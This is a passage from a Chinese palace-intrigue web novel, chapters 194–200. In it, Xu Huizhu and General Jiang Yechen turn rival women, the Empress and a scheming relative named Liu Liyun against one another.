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她和凝华郡主亲密到共享男人,李云生是她们分享的第一个男人。
可,李云生的心偏向凝华郡主,背叛了她。不,是李云生和凝华郡主双双背叛了她,妄想将她排除。
除掉她,他们就能双宿**吗?
一对**。
“李云生……**。”
“他可能是畏罪**,或者再喂食蛇时,不慎掉落蛇窟……总之,他**。”
“李云生就在这个庄园里,本郡主也是今日清晨得到的消息,匆忙赶来,已是阴阳相隔。”
事已至此,与其等锦衣卫调查,不如坦白一些能曝光的真相。
一半真相,一半谎言,把很多事情推到李云生身上,由李云生一个**背锅,便是她这个活人的出路。
锦衣卫在庄园里搜出囤积的蝴蝶香,凝如郡主被请进锦衣卫牢狱,只过一晚,她全交待了。
直到深陷牢狱,凝如郡主才醒悟:姜夜沉和徐慧珠搅浑一池水,真真假假,假假真真的如一层迷雾,遮挡住所有人的视线,而他们站在岸边,抛下鱼竿,钓起一条又一条大鱼。
她天真地以为自己搞定徐慧珠,名为做蝴蝶香的生意,实则将姜夜沉拉入兄长的船上。
……
锦衣卫出动,干脆利落拔掉临海王安插在京城各处的钉子。
紧接着,明温婉姐弟传来密信,东海发动兵变,临海王逃亡海上,兵符暂由副将徐州上执掌。
随同密信而来的还有临海王在东海一带犯下的十五条罪状和证据。
皇上下旨,东海兵权一分为二,一半归属南疆,由陈青阳掌管。另一半东海兵权归属于北疆,由姜夜沉掌管。
陈青阳举荐部下元彬,任东安将军。
元彬出身于元伯府,不过,元伯府被姜夜沉带领锦衣卫抄家。
如今的元伯府,只剩元彬一人。
凝如郡主因举报临海王有功,皇上免其死罪,但弑夺封号,贬为庶民,终生圈禁于郡主府。
除了失去自由,凝如郡主一同失去的还有富贵生活。
偌大的郡主府,外围是看守她的护卫,府里只有她一人。
这一日,徐慧珠携带礼物去郡主府探望凝如郡主。
礼物是凝华郡主。
“徐慧珠,你……你来做什么?”
第195章:柳丽云
“本郡主……不……不不不,我已经交待了一切,你和姜夜沉答应过我,会保住我的性命。”
“你……你们不能违背诺言。”
这些日子,凝如郡主一个人待在空荡荡的郡主府里,唯一能做的就是无休止地胡思乱想。
她,控制不住自己的思绪。
想到最后,她惧怕再见到人。
因为,她固执地以为,谁再踏入郡主府,就是来要她的命。
“凝如郡主,我不是来杀你。”
徐慧珠上前一步,凝如郡主后退两步,直到她整个人贴着墙壁,退无可退。
凝如郡主的眼里,漫天的恐惧。
自己吓自己,才是这世上最可怕的事。
“徐慧珠,我……我不信你。”
“我谁也不信。”
凝如郡主的表现,实在太让人失望。
徐慧珠觉得无趣,也就歇了心思。
她留下凝华郡主,这两人在往后余生里,是相依为命,还是相互折磨?
且看她们自己。
徐慧珠很满意这回的报复方式,当初在丞相府的宴会上,她们对她极尽羞辱,可想过今时今日。
人,总得为自己说过的话,做过的事,付出相应代价。
解决外患,该轮到丽云夫人这个内忧。
这些时日,丽云夫人为躲避黑崖纠缠,关闭紫藤院大门。
丽云夫人好话说尽,威胁用上,这回黑崖偏不听她的话,逆她的意,非说姜夜沉不能人道,便算不得男人,他不能眼睁睁看着心爱的女人跳进火坑。
他要留下来。
救她。
直到黑崖的小黑蛇差点咬伤徐慧珠,姜夜沉直接下令将黑崖赶出将军府。
徐慧珠一直提防丽云夫人,命金夏暗里监视,她看得出来,姜夜沉对丽云夫人的态度甚是怪异。
万万没想到,徐慧珠没等来丽云夫人的招数,而是等来丽云夫人与她摊牌。
丽云夫人将她堵在主院,挑衅道,“徐慧珠,我明明白白告诉你,我和阿夜在五年前已有过肌肤之亲。”
“我们是彼此的第一个人。”
“阿夜羞于承认,我们的身体,对彼此拥有记忆,念念不忘。”
“徐慧珠,你该有自知之明,你不过是一个失败的替代品。”
看来,丽云夫人想出的招数,就是“宣示**”。
她以为,徐慧珠会震惊,会伤心,会不知所措……她想过无数种徐慧珠的脸上,会出现的神情。
唯有没有“无动于衷”。
这种感觉就像她举起一把剑,刺向徐慧珠,可徐慧珠的身体坚硬如铁,剑断掉,徐慧珠却未皱一下眉头。
她说,“怎么不痛呢?”
徐慧珠上前一步,逼近丽云夫人,说道:“让开。”
“丽云夫人,您挡道了。”
“我邀约襄王妃去醉仙戏楼赏戏……”
言下之意:没空听她讲故事。
丽云夫人站着未动,不达目的怎能罢休?
“徐慧珠,你……你不嫉妒吗?不害怕吗?”
“嫉妒我对阿夜来说,是特别的存在。害怕阿夜和我旧情复燃,而你,什么也不是。”
“徐慧珠,我定会将你赶出将军府。”
徐慧珠忍不住,翻了一连串白眼。
她这是什么好运气加好福气,遇到的“情敌”,一个比一个自信到自负,都活在自己编织的梦里。
“丽云夫人,您不觉得大话说得太早太满?”
“您和将军的过往,我不关心也不在意,对我来说,并不重要。”
“因为,每晚和将军同睡床榻的女人,是我。”
“将军说,将军府的尊贵女主人,是我。”
“丽云夫人,你,是暂住将军府的客人罢了。”
论怼人气人,徐慧珠没输过。
丽云夫人追忆往昔。
她就显摆当下。
丽云夫人未必是姜夜沉的旧爱。
她一定是姜夜沉的新欢。
“徐慧珠,你……你?”
丽云夫人恼怒不已。
黑崖追来京城,扰乱她的计划。
她已没有时间去解开姜夜沉的心结,姜夜沉又躲着她,她只得先赶走徐慧珠这个碍事又多余的女人。
“徐慧珠,我便告诉你真相,我才是治愈阿夜的药引。”
“阿夜他……需要我。”
徐慧珠无语至极。
“丽云夫人和我说这么多,有什么意义?”
“我又不是姜夜沉。”
徐慧珠今日耐心已耗
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完,“金夏,去内室请将军出来,就说丽云夫人寻将军叙旧情,我就不留下碍两位的眼了。”
“阿夜在?”丽云夫人惊呼,“徐慧珠,你故意的?”
丽云夫人一阵心虚,她曾发过誓,对那一晚发生的事情守口如瓶。
她只说大概,并未细说过程,算不得违背誓言吧。
“丽云夫人这话说得好笑。”
“我故意?”
“我故意求丽云夫人您一大早堵门?故意引诱您说出和将军的一段旧情?”
“丽云夫人,我还‘故意’什么了?”
徐慧珠眼神渐冷,她已确定姜夜沉不能人道的病因,源自丽云夫人。
她究竟对姜夜沉做过什么?
伤害他这般境界。
“丽云夫人,您是让道?还是等将军在场之时,重温你和将军行鱼水之欢的细节,好让你如愿欣赏到我嫉妒发疯?伤心欲绝?”
听到脚步声,徐慧珠知道,姜夜沉就在身后。
徐慧珠没有转身。
她撞开丽云夫人,再不出府,就要错过醉仙戏楼新上演的戏。
“阿夜?”
“你听我解释……”丽云夫人语气惊慌。
马车里,徐慧珠双手捂住脸颊,突然想哭一会儿。
徐慧珠认清一个现实,姜夜沉不信她。
这个发现,让徐慧珠难受到想哭。
“慧珠?”
“我可以解释。”
马车并未颠簸,徐慧珠却跌入一个滚烫的怀抱里。
他禁锢着她,以他身体为绳索,绑住她的四肢,困住她的心神。
“那晚,你夜探将军府,主动求嫁……我就一直在想,该怎样向你揭开我身上的丑陋疤痕?如何面对我曾灰暗的过往?”
“直到丽云夫人突然来京,我更心慌……”
“我……我不知如何开口。”
此刻的姜夜沉,犹如一个做错事吓到无措的少年,脆弱到让人心疼。
徐慧珠何尝不知,这般模样的姜夜沉,她有幸见识,旁人窥探不到分毫。
“将军说,我听着。”
徐慧珠气消了。
姜夜沉受到鼓励,将过往坦诚交待。
“五年前,我想过一剑杀死她。”
“柳丽云。”
第196章:自伤
“柳丽云?”
“她……逃了。”
“她逃回溟山,求得黑崖师叔庇护。”
“师父亲自下山寻我说情,以母亲遗物做交换。”
“那以后,我与溟山从此陌路。”
徐慧珠双手捧住姜的脸庞,轻声问道,“姜夜沉,可以告诉我吗?”
“那一夜,究竟发生了什么?”
“她,如何伤你?”
姜夜沉不觉得徐慧珠冒犯,他只听到徐慧珠语气里的心疼和愤怒。
她心疼他受过的委屈。
她愤怒柳丽云曾对他造成的伤害。
“五年前……”
这一夜,主院里的烛火燃至天明,姜夜沉一会儿搂住徐慧珠的腰肢,一会儿枕在徐慧珠的腿上……紧紧黏着她。
从少年到大婚之前,姜夜沉是个诚实的学生,在徐慧珠这个女先生面前全盘交待。
姜夜沉尘封那一夜的记忆,亲手在心口位置打入铁桩,如今说给徐慧珠听,也不过稀疏平常。
“将军,既然柳丽云不爱黑崖,那我们合计一番,为柳丽云安排更位高权重的男子。将军意下如何?”
自柳丽云出现,更以那一夜的事情威胁于他。
他怕的从来不是曝光自己的羞耻和伤疤,他怕的是徐慧珠会因此嫌弃他,弃他而去……
“如此甚好。”
“夫人可有人选?”
徐慧珠说道,“将军可想到了谁?”
两人极有默契,同声道:钱相爷。
苗安楠人在祖地,桑氏不得钱相爷欢喜。
钱相爷独守空房,空虚难耐,这时,若一朵娇艳美丽的解语花入怀,像极少女时的苗安楠。
钱相爷一颗苍老的心,怕是要迎来春日了。
很快,主院传出争吵。
姜夜沉和徐慧珠不知为何大吵一架,姜夜沉摔门离去。紧接着,大福收拾一车姜夜沉惯用的物件,送到锦衣卫署。
两人……分居了。
姜夜沉离府后,徐慧珠把自己关在药房,谁也不见。
直到普神医回京。
“夫人,您应该已知晓内情,将军隐疾确实与丽云夫人有关。”
“这些年,我试过无数法子,毫无成效。”
“夫人,您也是医者,自是明白一个道理:心病不除,身体的病更无痊愈可能。”
“我不能保证丽云夫人一定能治愈将军,但丽云夫人为药引,是一次机会。”
“求夫人……”
普神医心里不愿,也不得不狠下心肠劝说,将军性情偏执,能说服将军的人,只怕是夫人。
徐慧珠脸色愁苦,叹息道,“师父,其实……”
门外,柳丽云止住脚步,拐了个弯,躲在窗下。
她一心偷听,连药房外无奴婢守着,这样明显的破绽未曾发现。
屋内,橘红现身,冲徐慧珠点头。
徐慧珠语气哽咽,“师父,我劝过将军。”
“可将军他……他说,宁愿死,也不愿与丽云夫人生出男女之情的牵绊。”
“我劝将军忍耐,哪怕同丽云夫人逢场作戏,不过为了治病,我不会怪将军,亦不会嫌弃他。”
“将军大怒,和我冷战,人搬去锦衣卫署……”
“徐慧珠,你胡说。”柳丽云推开门,脸色不善,“阿夜心里有我的,是你根本不想阿夜隐疾痊愈,你怕阿夜烦了你腻了你。”
“呵,徐慧珠,被我说中了吧。”
“徐慧珠,就算你费尽心思挑拨离间,你不会成功的。”
“等我和阿夜之间的误会解除,他不会再怨我,我和阿夜会重归于好。”
柳丽云她到底还记不记得,她和黑崖身负婚约。
他们虽无夫妻之实,却有夫妻之名。
她做了五年的丽云夫人,早已坐实“丽云夫人”名分。
可惜,她不自知。
徐慧珠觉得有必要提醒柳丽云一件事情。
她走向柳丽云,伸手取下柳丽云头上的树叶,说道:“第一,听闻丽云夫人您是黑崖师叔的未婚妻,婚书已写,亲事已定。”
“第二,丽云夫人您偷听我和师父谈话,乃小人行径,您不觉得羞耻吗?”
柳丽云脸颊涨红,眼里闪烁一瞬心虚。
不过,徐慧珠倒是提醒了她,或许姜夜沉介意与她亲近,是顾忌黑崖。
阻挡她和姜夜沉之
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间的最大障碍,不是那一段过往,也不是徐慧珠,而是她身上的婚约。
一纸婚约,姜夜沉如何敢亲近她?
若徐慧珠知晓柳丽云心里的想法,忍不住感叹一句:爱上姜夜沉的女子,一个个脑子有病,且病得不轻,都困在自己的世界里。
徐慧珠抛出的诱饵连她都觉得“敷衍”,柳丽云却一口咬钩。
“徐慧珠,你背后说我坏话,我正大光明地偷听,又如何?”
“这是阿夜的将军府,我出入自由,你管不着。”
“哼。”
明明已过了娇憨的年纪,柳丽云仍任性的肆意。
这等性情,恕徐慧珠欣赏不来。
“还有,徐慧珠,谁准许你叫我‘丽云夫人’?”
“我有名有姓,柳丽云。”
丽云夫人,不,柳丽云着急离开,她得先解决掉麻烦,好让姜夜沉看见她的真心。
和徐慧珠争一时长短,浪费时间,还丢脸。
等一切尘埃落定,她要做的第一件事,就是将徐慧珠赶出将军府。
不过琐事罢了。
不过半月光景,柳丽云攀附上皇后娘娘,入宫两回,皇后娘娘颁发懿旨,为遵从先北疆王妃,也就是姜夜沉生母的遗愿,特册封柳丽云为郡主。
丽云郡主?
徐慧珠的诰命夫人,享县主供奉。而柳丽云,在身份上,已然压徐慧珠一头。
紧接着,柳丽云主动找上黑崖。
她右手攥着一支金簪,对准自己的左手手腕,逼迫黑崖解除婚约。
她说,“黑崖,我绝不会嫁给你。”
“除非我死。”
“黑崖,你舍得我死吗?”
“黑崖,要么你我的婚约作废?要么你看着我死?”
柳丽云豁得出去,她一咬牙用力划破手腕,顿时鲜血直流。
这突发的一幕,吓住了黑崖。
“不。”
“丽云?”
“求你,不……不要伤害自己。”
“我会心疼。”
无论柳丽云说什么做什么,黑崖完全没有抵抗的能力。
他在柳丽云面前,怂的不是个男人。
卑微到尘埃里。
第197章:这个男人,贱如一条狗
黑崖夺下柳丽云手里的金簪,这支金簪,曾是他送她的生辰礼物,如今却变成她自伤的凶器。
他本是巫医,治疗小小的割伤不在话下。
可,病人是柳丽云,黑崖害怕到手抖,脸色发白。
一瓶药粉,价值百两银子,大半撒在地上,小半覆盖伤口。
他怪自己,恨姜夜沉,怨徐慧珠,唯独心疼柳丽云。
“丽云,求你......”
泪,落在自个儿的手背上,灼伤的痛感。
此刻,黑崖若抬头看一眼,就会瞧见柳丽云脸上的得意和不屑。
这个男人,贱如一条狗。
偶尔汪汪叫两声,还以为他长了脾气,可一见到她这位主子,就摇尾乞怜,一脸讨好的贱相。
“黑崖,如果你心悦我,为何不能成全我和阿夜?”
“你明知道,我和阿夜才是一对有情人,经历过磨难,就应该有情人终成眷属啊。”
黑崖脸色大变,眼里尽是痛苦破碎之色。
“丽云,你......你说你和姜夜沉才是一对有情人。”
“那我呢?你我在溟山相处五年的时光,又算作什么?”
“丽云,你的心里,装满姜夜沉,没给我余留一丁点儿位置吗?”
黑崖单膝跪在地上,双手捧着柳丽云受伤的手,如同捧着瑰丽宝物。
他诉说深情,却卑微至极。
可惜,只能感动到自己。
“丽云,求你......求你让我留在你身边,看着你,陪着你。”
“姜夜沉非良人,我怕你会受苦受委屈......”
“求你......求你让我保护你,好不好?”
柳丽云烦死黑崖,无比厌烦。
五年前,姜夜沉年轻气盛,一时无法接受,才对她拔剑相向,要杀她,她不得不逃回溟山,利用黑崖为退路。
如今已时隔五年,姜夜沉变得理智成熟,只要她放低身段,耐住性子,定会让姜夜沉重新认识她的好,接受她的爱。
她不再需要黑崖这条退路,更鄙夷他的所谓情深,于她来说,就是拖累。
“黑崖,你也清楚阿夜身患隐疾,能否治愈还是未知数。”
“你先回溟山,以三年为期,若阿夜身体痊愈,你便终生待在溟山,不再与我见面。”
“若阿夜身体不治,我会想法子去溟山寻你,无夫妻之名,行夫妻之欢。将来,我们的儿子便会继承将军府的一切。”
“黑崖,你听我的话,乖乖的,我会疼你!”
柳丽云轻言细语哄着黑崖,“所以,黑崖,退亲书,写给我。”
……
黑崖向大皇子李明远辞别,理由是未婚妻将另嫁他人,名利于他来说再无用处,他已心灰意冷,打算回溟山醉心钻研巫医术,熬着每一日,等哪一日熬不下去,他会亲手结果自己的性命。
但,大皇子李明远还未开始榨取黑崖的价值,怎会放他离开。
于是,大皇子李明远美化一张“大饼”,暂且留住黑崖。
柳丽云还不知,黑崖既已向大皇子李明远投诚,想离开,痴心妄想。
另一边,柳丽云做足准备,她拿着退亲书直接去锦衣卫署堵姜夜沉。
徐慧珠说的话,柳丽云一个字不信,不,只挑选她以为的去想去信,无限延展。
锦衣卫署,姜夜沉连着两日处理公务,中间只睡两个时辰,他扛得住,大福盯着黑眼圈站在门外,双眼无神。
托夫人的福,将军生活正常,他跟着“享福”,一日三餐有热饭,夜夜睡得安稳且香甜。
如今,将军忽然恢复往昔,这份“罪”,大福吃不消受不住。
大福思绪飘的很远,从锦衣卫署一路飘回将军府,不知金夏在做什么?可有念叨他?可有着急他吃不饱穿不暖?
大福头一回见识像金夏这般性情洒脱又良善的女子,她会省下春风酒楼的点心,给他吃。她会纳布鞋,给他穿。
他的心,因着金夏,融化成一潭蜜水。
“大福哥,门前来了一名陌生女子,吵着闹着要见将军。”
锦衣卫阿束嘟囔道,“脾气大得很,我都说了锦衣卫署乃查案要地,闲杂人等不得入内,那女疯子就骂我是条听不懂人话的看门狗。”
“容貌上等,
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嘴巴太脏。”
“陌生女子?”大福瞟了阿束一眼,“脾气大?女疯子?”
难道?
难道是阿束有眼无珠,不识金夏这颗“夜明珠”。
脾气大点儿怎么了?谁规定女子就得杨柳细腰,弱不禁风?
做作矫情。
他大福欣赏不来,见不得。
金夏的美,金夏的好,他一人懂。
阿束粗心,没听出来大福语气里的不高兴。
“女疯子名叫柳丽云,大福哥,将军认识吗?”阿束说道。
锦衣卫署大门前,时常有女子来偶遇将军,也有个别大胆的贵女,仗着身份求见将军。
贵女们的案情雷同,一个个都是采花大盗,妄想采姜夜沉这朵高岭花。
当然,将军一概不见。
“柳丽云?”
“丽云夫人?”
“她来做什么?”
大福拍了拍阿束的肩膀,语重心长说道,“阿束,你的觉悟不错,世间有些女子空长一副好看皮囊,美则美矣,可惜内里不是豆腐渣,就是一肚子坏水。”
“所以说,越美的女子越有毒,沾染不得。”
留下阿束一脸懵。
他年纪尚轻,在锦衣卫署日常打杂跑腿,心智未开,何谈情智。
大福如实禀报,姜夜沉连头未抬,只说一句,“不见。”
“谁也不见。”
大福心里补话:除过夫人。
夫人一来,将军肯定上赶着见。
柳丽云在门口等了好一会儿,没等来姜夜沉,却等到她最讨厌的人——大福。
大福还未说话,柳丽云先发制人,“我要见阿夜,你来做什么?”
“丽云夫人,将军有令,不见。”大福可不惯着柳丽云,回以冷脸。
“什么将军有令?”
“大福,是你阻挡我见阿夜,是不是?”
“哼。”柳丽云美目含怒,她不惜自伤摆脱黑崖,拿到退亲书,迫不及待与阿夜分享好消息,却被一个低贱奴才堵在门口,当真是阎王好打发,小鬼太难缠。
“大福,徐慧珠用什么收买你?让你像贱狗一般忠诚。银子?还是身子?”
第198章:太子妃请夫人赏戏
“呵,一个狗奴才竟敢玩灯下黑。”
“滚开!”柳丽云自以为洞察真相,出口成恶。
大福站着不动,释放萧杀气息,“丽-云-夫-人?”
剑指柳丽云,“擅入锦衣卫署者,不论身份,刑堂伺候。”
“丽云夫人是自行离开,还是奴才请您去锦衣卫刑堂小坐?”
柳丽云自是瞧见大福眼里的怒火和杀意,不过,她不屑。
不就如实证明,大福被徐慧珠收买,八成以身诱惑。
反正,她要除掉徐慧珠,又厌恶大福,那就莫怪她向阿夜揭露两人的**。
一回除俩。
“狗奴才,你敢威胁我?”
“阿夜才是锦衣卫统领,你是什么狗东西?”
“若阿夜知道你这个狗奴才故意阻挡,还徇私枉法……定会严惩你。不,阿夜会要了你的贱命。”
大福:……
他能不能剑出销,削掉柳丽云的两瓣唇,或者像切西瓜一样切开柳丽云的脑袋瞧瞧,装的是豆渣,还是屎?
好在,救兵驾到。
“丽云郡主,凤凰山管事罗勇明可认识?”
“罗家人入京状告丽云郡主您指使罗勇明**,书信为证。”
“请您随本官走一趟府衙。”
府官大人来得刚刚好。
罗勇明死有余辜,罗家人想要不受牵连,继续过安稳的日子,得做点什么,做到徐慧珠满意才行。
徐慧珠差点丧命之仇,怎能轻轻拿起,装作无事放下?
柳丽云在府衙牢狱只待了一夜,就被皇后娘娘一道懿旨无罪释放。
府官大人通过比对罗家人递交信笺上的字迹,并非柳丽云,而是出自她的奶娘云花。
云花曾在年少时和罗勇明有过一段情,得知姜夜沉娶亲,便以旧情威胁罗勇明除掉徐慧珠,好让柳丽云得偿所愿。
云花得了肺痨,在柳丽云离开溟山后,她寻了一处幽静之地,等待死亡降临。
官差找到云花之时,已是一具干巴巴的尸体,不知**多久。
当然,这是后话。
京城很快传出两股流言,一种说柳丽云为抢男人,雇凶**。
另一种说徐慧珠嫉妒成性,容不下柳丽云这位亲戚,哪怕柳丽云从身份上来说是长辈,怪柳丽云容貌绝色。
只怕将军府飞进去一只母蚊子,徐慧珠也不容。
君后殿,皇后娘娘的脸上难得浮出笑容。
“母后,儿媳不解,您何故给柳丽云做脸?”
“儿媳已交好徐夫人,眼下正是拉拢将军府的好时机,母后此举……”
暮歌小心翼翼问出心里的疑惑。
“本宫改变主意了。”
皇后娘娘咬牙切齿,“本宫要姜夜沉和徐慧珠那一对贱男贱女成为京城最大的笑话,再**。”
女子善变,皇后娘娘的心思,又变出新的花样。
“暮歌,本宫要你这么做……”
徐慧珠并不惊讶于柳丽云和皇后娘娘搅浑在一处,两个蠢货凑成对,只会干出更蠢的事。
不过,皇后娘娘助力柳丽云抢夺姜夜沉,可问过凝玉公主是否同意?
“将军今日入宫当差,可寻机会提醒皇上,君王生辰宴乃安国盛事,按照习俗,与民同乐,太子身为东宫储君,这类重要场合得出席,站在皇上身边……”
姜夜沉暂且回不去将军府,徐慧珠时常悄悄来锦衣卫署,陪伴姜夜沉处理公务、审问犯人。
她都快抢走大福的活计,晋升为姜夜沉的左右手。
“夫人是想出新的妙计?”
“让为夫先猜测一番。”
徐慧珠笑的狡黠,“将军不想看‘烂桃花’打架?”
“凝玉公主心里本就埋怨皇后娘娘,再得知皇后娘娘助力柳丽云,只怕会发疯,对皇后娘娘由埋怨生怨恨。”
“狗咬狗一嘴**,待她们两败俱伤,不正是我们坐收渔翁之利的好时机。”
徐慧珠心里怜悯皇上,娶的嫡妻是蠢货,嫡妻生育的一双儿女只遗传生母的蠢,升华生母性情里的恶和坏。
皇上纳的妾是白莲花,长黑心的白莲花,生出的庶长子亦是满心算计钻营。
总之,他们根本不像皇上的血脉。
“夫人聪慧。”
姜夜沉真心实意夸赞,得妻如此,当真应了话本子里写的:金玉良缘天注定。
他明知道,徐慧珠隐藏着秘密,她不愿说,他亦不会强逼。
徐慧珠曾问,“将军,你信我吗?”
“从你夜探将军府,说要替嫁我同意之时,我便信你。”
姜夜沉答的干脆。
又过五日,锦衣卫
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和护龙卫护送太子和凝玉公主秘密回宫。
皇上下旨,由太子妃协助皇后娘娘操办皇上的生辰宴。
皇上这是打太子和凝玉公主一巴掌,再赏赐皇后和太子妃一枚蜜果子。
皇后娘娘喜上眉梢,召唤太子和太子妃细密商议,势将皇上生辰宴办的隆重,重夺圣心。
凝玉公主来君后殿请安,却在门口遇到太子妃暮歌。
“呵,看门狗呀。”
“怎么?母后和太子哥哥在殿内密谈,你沦落为看门狗,替主子望风?”
凝玉公主本就瞧不上暮歌,又听宫人说暮歌和徐慧珠交好,如今见到暮歌,恨不能抽烂她的脸。
吃里扒外的东西,也就生得一张讨巧的贱嘴,哄得母后一两分欢心。
暮歌上前一步,神情恭敬,“凝玉公主请止步,母后交待,请您回香凝殿歇息,母后稍后亲去香凝殿看您。”
话里话外的意思,皇后娘娘不见凝玉公主。
“**。”
“你好大的胆子!”
凝玉公主火爆脾气自娘胎而带,再加上皇后娘娘后天养成,皇上就是让凝玉公主跪死祖宗牌位前,也改不掉刻入骨血里的习惯。
关键是,凝玉公主打小在皇宫里横行,除过皇上的君皇殿,哪里不是来去自由。
凝玉公主自是万般不信,“母后宠爱本公主如珠如宝,怎会不愿见本公主?母后曾说过,天塌下来,都没有本公主重要。”
“本公主不信!”
凝玉公主扬手欲打暮歌,怒骂道,“**,本公主才是母后的亲生女儿,你一个**坯子妄想取代本公主?”
“本公主和母后二十多年的母女情分,容不得你这个**挑拨离间。”
暮歌又没受虐嗜好,闪身躲开,懒得回应凝玉公主的胡搅蛮缠。
就让凝玉公主长长久久误会下去好了。
她在此处等待凝玉公主,可是要办正事儿的。
“凝玉公主,实话说吧,母后她怕了您闹腾,更担忧您性情冲动又又又祸祸母后的安排,才不愿见您。”
“母后一心为您和太子谋算,慈母心肠,用心良苦啊。”
凝玉公主的手,无力垂下。
“**,本公主问你答。”
“要是敢说一句假话,本公主弄死你。”
第199章:公主,你是本将军的谁?
一刻钟后,凝玉公主红着眼睛离开。
她还是不信,她要出宫一趟,亲自求证。
一个徐慧珠霸占着姜夜沉,怎么又来一个柳丽云?要勾走姜夜沉的魂吗?
她绝不允许。
呵,一个柳丽云又怎样?来一个,来两个,来十个……她都会送那些**去阴曹地府鬼差的床上。
暮歌望着凝玉公主的背影,轻笑道,“阿喜,传信给徐夫人,就说我请她赏戏。”
“是,太子妃。”阿喜领命离开。
暮歌一人站在君后殿门外,直到幕色渐暗,冷意入骨。
徐慧珠说得对,身在京城,瞧热闹无趣,那就以身下场制造热闹。
他钱暮歌生来就为棋子吗?
不,她不甘心。
徐慧珠又说,大胆释放心里的不甘,让自己变得强大,然后做主自己的命运,杀了那些自以为是的执棋之人。
暮歌不禁想,她之前困在深宫里,困住的何止身体,还有思想和灵魂,她若早些遇见徐慧珠,是不是就能改写她的人生?
凝玉公主听劝,立马出宫直奔锦衣卫署,大福能唬得住柳丽云,却不能硬挡凝玉公主。
大福不傻,柳丽云的郡主身份是皇后娘娘刻意册封,为的是恶心姜夜沉。而凝玉公主是帝后的嫡出公主,除非皇上弃之,不然,谁得罪凝玉公主,下场皆惨。
“姜夜沉,你给本宫出来解释,本宫不许你和柳丽云那个老女人纠缠不清。”
又将枪口对准徐慧珠,“徐氏,你真没用,连一个老女人斗不过,就该羞愤到一根白绫吊死自己。”
“废物!”
凝玉公主开口便是质问,好像她本是将军夫人,理直气壮来捉**。
入眼,徐慧珠在练字,姜夜沉“红袖添香”。
这温情的一幕,灼伤凝玉公主的眼,刺痛凝玉公主的心。
她被父皇扔到皇陵,每日跪在祖宗牌位前,连呼吸都是煎熬。
姜夜沉在京城里享受左拥右抱,他……对得起她吗?
“凝玉公主以什么身份质问本将军?你又是本将军的谁?”
姜夜沉说话气人,更伤人。
他一直在伤凝玉公主的心,伤着伤着,凝玉公主竟上瘾这种痛觉。
她的心,越痛越鲜活。
“姜夜沉,你……”
凝玉公主不知自己差在哪里,姜夜沉宁愿宠着一个妾,还和柳丽云那个老女人不清不楚,唯独对她,没有一个温暖眼神,没有一句甜言蜜语。
如此?
如此不就证明,姜夜沉心里深爱着她?
一个受过情伤的男人,是她伤了姜夜沉的心,合该她哄,直到哄好为止。
这么会儿功夫,凝玉公主已完成自我说服,自我感动和自我安慰的全过程。
凝玉公主这样的女子,人间稀少啊。
“姜夜沉,就当本宫求你,求你原谅本宫这一回。”
“姜夜沉,你究竟要本宫怎么做?你告诉本宫啊,哪怕**放火,本宫愿意......”
凝玉公主的疯病已侵入神经,只怕她肚子里的蛔虫也受她连累到不能寄生。
她对姜夜沉,是爱吗?
徐慧珠屈膝行礼,说道,“凝玉公主,您误会将军了。”
“将军……将军他心里苦啊。”
徐慧珠快言快语,将凝玉公主不在京城这段时间所发生的“大事”如数叙述。
“唉……”
“柳丽云仗着亲戚身份赖在将军府,后脚未婚夫黑崖追上门……将军府日日不得安宁,将军不得已躲到锦衣卫署。”
“臣妇也不知柳丽云如何哄骗皇后娘娘,给她尊贵的郡主身份,还暗里撑腰她拿到退婚书。”
“臣妇更百思不得其解,皇后娘娘执意给柳丽云抬脸,大有硬把柳丽云塞入将军府之势……到底图什么?”
“再说,皇后娘娘明知凝玉公主您对将军深情不移,为何要乱点鸳鸯谱?”
“臣妇说句实话,臣妇打心底不喜柳丽云,宁愿以凝玉公主您为尊……”
姜夜沉什么都不用说,就往那儿一站,任由徐慧珠使“美男计”。
如此破绽百出又拙劣的招数,凝玉公主竟信了。
不得不说,徐慧珠头一回服软,取悦了凝玉公主。
凝玉公主想得遥远:一个听话的妾,若得姜夜沉一两分欢喜,她大人有大量,也是能容下的。待姜夜沉身子治愈那一日,赐一碗红花汤给徐慧珠就是,
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一个生不出孩子的妾,这一辈子都翻不出她的手掌心。
凝玉公主好似忘记,她的身子已被自个儿折腾的难以有孕,便是三四成机率,还得仰仗徐慧珠的医术。
经过暮歌和徐慧珠的合力挑拨,凝玉公主心情明媚回宫,忍不到更衣直奔君后殿。
母后糊涂,给柳丽云一个老女人撑脸,那她偏就给姜夜沉撑腰。
这世上,谁都不能给姜夜沉委屈受。
母后也不行。
母女两**吵一架,不欢而散。
皇后娘娘痛打凝玉公主两巴掌,凝玉公主推了一把皇后娘娘,险些摔倒,在皇后娘娘怒吼“滚滚滚”中,凝玉公主扬长而去。
路过御花园,凝玉公主听到两名宫女在嚼舌根。
“这世上怎会有像钱相爷这般深情的男人?皇上下旨苗安楠携钱宝器回祖宅反省,钱相爷大病一场,病得下不来床榻,医正大人说钱相爷心病难医……”
“钱相爷那么老了,还害相思病,老不羞。”
“钱相爷是老牛吃嫩草没说,可人家吃到嘴里,就走心,成了真爱。”
“我要是温德夫人,就物色另一个年轻美艳的‘苗安楠’,爬上钱相爷的床榻,勾住钱相爷的心,就算苗安楠有朝一日回京,黄花菜都凉透了。”
“嘿嘿嘿,就你鬼点子多。”
“那是自然,我要是能见到温德夫人,贡献良策。你说,温德夫人会不会赏赐我百两黄金……”
八卦完钱相爷,又说到凝如郡主和凝华郡主娇养的美貌面首。
“听说郡主府遣散面首那日,街道人满为患,无论男女老少,都拥挤着去瞧美男子。最后,还是大将军下令锦衣卫维持秩序,才不至于发**。”
“唉,我们这些做宫女的,等混到出宫,一个个都是二十五岁的老姑娘,哪能嫁到好人家。”
“所以,明智之举就是现下在贵人面前尽心尽力当差,等出宫时积攒一大笔银子傍身。嫁人、生儿育女、侍奉夫君公婆……有什么人生趣味,不如仿效凝如郡主和凝华郡主,娇养美男,逍遥快活,不枉此生。”
听见全程的凝玉公主,灵感乍现,心里有了计较。
……
第200章:相思成病的丞相老大人
徐慧珠这几日频繁出入丞相府,与温德夫人商量钱无双和徐念念的婚事。
姜夜沉人在锦衣卫署,日日埋在公务里。
偌大的将军府,唯有柳丽云一人闲暇无事。她一连好几日去锦衣卫署大门前堵姜夜沉,人没见到,被大福那个狗奴才变着花样冷嘲热讽。
直到柳丽云收到丞相府的请柬,她心中一喜,机会来了。
钱无双是丞相府公子,徐念念是将军府大小姐,更是凝心县主,他们的亲事由皇上赐婚不说,还得内务府操办……好不风光。
也就是说,那一日,贵人云集......
清晨刚过,丞相府大门前便排起长队,队伍绵延两条街道。
